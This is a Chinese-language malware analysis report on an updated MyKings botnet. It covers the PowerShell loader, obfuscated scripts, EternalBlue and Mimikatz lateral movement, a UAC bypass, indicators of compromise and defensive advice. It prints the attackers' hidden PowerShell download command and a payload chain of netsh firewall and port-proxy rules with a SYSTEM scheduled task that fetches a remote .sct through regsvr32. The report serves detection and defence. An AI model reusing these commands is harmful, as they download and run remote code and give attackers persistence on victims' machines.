近日,腾讯御见威胁情报检测到了Mykings僵尸网络迎来了一波更新,通过更新后的样本免杀度极高,且加密手段复杂,采用较高超的攻击技巧,提升了安全检测的难度。
0×1 概述
近日,腾讯御见威胁情报检测到了Mykings僵尸网络迎来了一波更新,通过更新后的样本免杀度极高,且加密手段复杂,采用较高超的攻击技巧,提升了安全检测的难度。
MyKings僵尸网络2017 年 2月左右开始出现,该僵尸网络通过扫描互联网上 1433 及其他多个端口渗透进入受害者主机,然后传播包括 DDoS、Proxy(代理服务)、RAT(远程控制木马)、Miner(挖矿木马)在内的多种不同用途的恶意代码。腾讯御见威胁情报中心曾在今年五月发现Mykings利用Nsis脚本进行SMB爆破传播挖矿木马。由于MyKings僵尸网络主动扩散的能力较强,影响范围较广,对企业用户危害严重。
Mykings僵尸网络最新变种的技术特点:
1.攻击指令入侵成功,即通过Powershell下载king.ps1脚本;
2.king.ps1经过多次混淆加密,具有自我更新和横向移动扩散能力;
3.Mykings僵尸网络横向扩散利用了永恒之蓝漏洞和Mimikatz攻击神器;
4.Mykings僵尸网络多次使用加密混淆脚本,以掩盖攻击意图,逃避安全软件检测;
5.攻击者利用肉鸡电脑开启代理服务,肉鸡电脑可能成为攻击其他系统的跳板;
6.攻击脚本中有绕过Windows UAC的行为,避免危险操作被操作系统的安全功能拦截;
7.御见威胁情报中心监控发现,本轮攻击开始于9月4日,放量测试后攻击者很快关闭C2服务器。
0×2 样本分析
本次更新通过powershell下载king.ps1进行,更新命令:
powershell.exe -E -ExecutionPolicy Bypass -windowstyle hidden -command #3down = New-Object ct System.Net.WebClient;#3u;#3url = “= “http://js.f4321y.com/king.dat”;#3″;#3file = “C:/Users/ADMINI~1/AppData/Local/Temp/19>king.ps1</c1″;#”;#3down.DownloadFile(ile(#3url,#3file);exit;
下载后的king.ps1经过多次混淆加密,对其进行去混淆后脚本内容如下:
1.png
该脚本主要分为两个部分:自我更新和横向移动。
1、 自我更新分析:
脚本首先会获取本地信息,并发送给服务器,服务器会返回一段脚本内容,返回脚本内容为更新下载新的king.ps1:
2.png
3.png
2、 横向移动分析:
该样本使用两种攻击方法进行横向感染:永恒之蓝,和利用NTLM hash 进行Smbclient。
永恒之蓝:
扫描内网开放445端口IP,并且该IP没有开放65353端口,随后会利用内置永恒之蓝利用代码eb7和eb8函数进行攻击。
eb7:是针对windows 7/2008 R2
eb8:是针对windows 8/8.1/2012 R2
4.png
漏洞攻击代码来自exploit-db.网站修改版。攻击成功后,会执行base64解密后的payload。
SMBClient:
首先调用GetUserInfo函数,该函数内容同样经过编码加密,对其解密后发现会调用内置已加密的exe。该Exe为修改版的Mimikatz。用户获取本地帐号和Ntml hash。
5.png
6.png
Mimikatz会将获取到的帐号和Ntlm存储在%temp%\tmp.log文件中:
7.png
将获取到的账号和NTLM Hash和内置的部分帐号和NTLM值(脚本中硬编码)组成字典,然后利用SMBClient进行上传脚本。
添加内置帐号和Ntlm hash:
8.png
smbclient上传脚本:
9.png
将内置脚本代码base64解密后发现为加混淆的js脚本,该脚本依然使用了极其复杂的加密和混淆:
10.png
对其去混淆后:
11.png
该js脚本目的是在%appdata%\Microsoft\Microsoft.ps1下创建ps1文件,并且设置计划任务启动。Microsoft.ps1仍为加密混淆脚本,经过多次去混淆解密后得到如下脚本内容:
12.png
该脚本目的是继续上传受害者信息并执行服务器返回脚本。
3、 payload分析
payload部分依然被严重加密:
13.png
解密后,得到执行payload的命令如下:
IT资源论坛:www.euei.com.cn
cmd.exe /c netsh.exe firewall add portopening tcp 65353 DNS&cmd.exe /c netsh interface portproxy add v4tov4 listenport=65353 connectaddress=8.8.8.8 connectport=53 & cmd.exe /c netsh advfirewall firewall add rule name=DNS dir=in action=allow protocol=TCP localport=65353 & cmd.exe /c schtasks /create /ru system /sc MINUTE /mo 40 /st 07:00:00 /tn DnsCore /tr “regsvr32 /u /s /i:http://pages.ooguy.com/dns.sct scrobj.dll”
Payload会向防火墙添加65353端口,开启代理,设置当IP访问65353端口时,本机就连接到8.8.8.8的53端口上,并且设置任务计划定时访问下载http://pages.ooguy.com/dns.sct。目前该下载链接失效。
猜测这里跳转到8.8.8.8的53端口其真实意图尚不明确,可能用于调试目的,或可能变更为代理服务、下载服务、或将肉鸡电脑作为攻击跳板,发起DDoS攻击等等。
4、 BypassUAC
BypassUAC同样采取无文件落地攻击,其利用MSF公开BypassUAC注入dll,并将DLL硬编码加密写入脚本中。
14.png
该代码可以在github上找到:
15.png
0×3 趋势&总结
本次Mykings僵尸网络更新,采用了极其复杂的加密和混淆技术,大大增加了免杀的能力。 其中一个脚本就加密多达4、5次。而且此次捕获的样本并无其他可执行二进制落地,其利用的部分二进制恶意工具均被加密硬编码在脚本中,执行时直接注入相关进程,提升了安全软件的检测难度。
从C&C域名监测来看,该波更新开始于9月4日,仅放量了一部分用户。目前已经关闭了该C&C服务器。因此我们判断,作者可能在进行一些测试,用于进行下一波更猛烈的攻击。
16.png
0×4 安全建议
1、 关闭不必要的端口,方法可参考:https://guanjia.qq.com/web_clinic/s8/585.html;
2、 建议局域网用户切勿使用弱口令和统一口令;
3、 推荐企业用户使用御点终端安全管理系统保护电脑安全(下载地址:https://s.tencent.com/product/yd/index.html)
17.png
附录(IOCs)
MD5:
44d9022197f596eefa88faa951d0a4b2(king.ps1)
Url:
hxxp://cache.gacache.ga/cache.png?v=2&h=
hxxp://jpcache.casacam.net/start.png?h=
hxxp://pages.ooguy.com/dns.sct
hxxp://js.f4321y.com/king.dat
hxxp://cache.gacache.ga/king.dat?new
hxxp://pages.ooguy.com/dns64.sct
参考链接: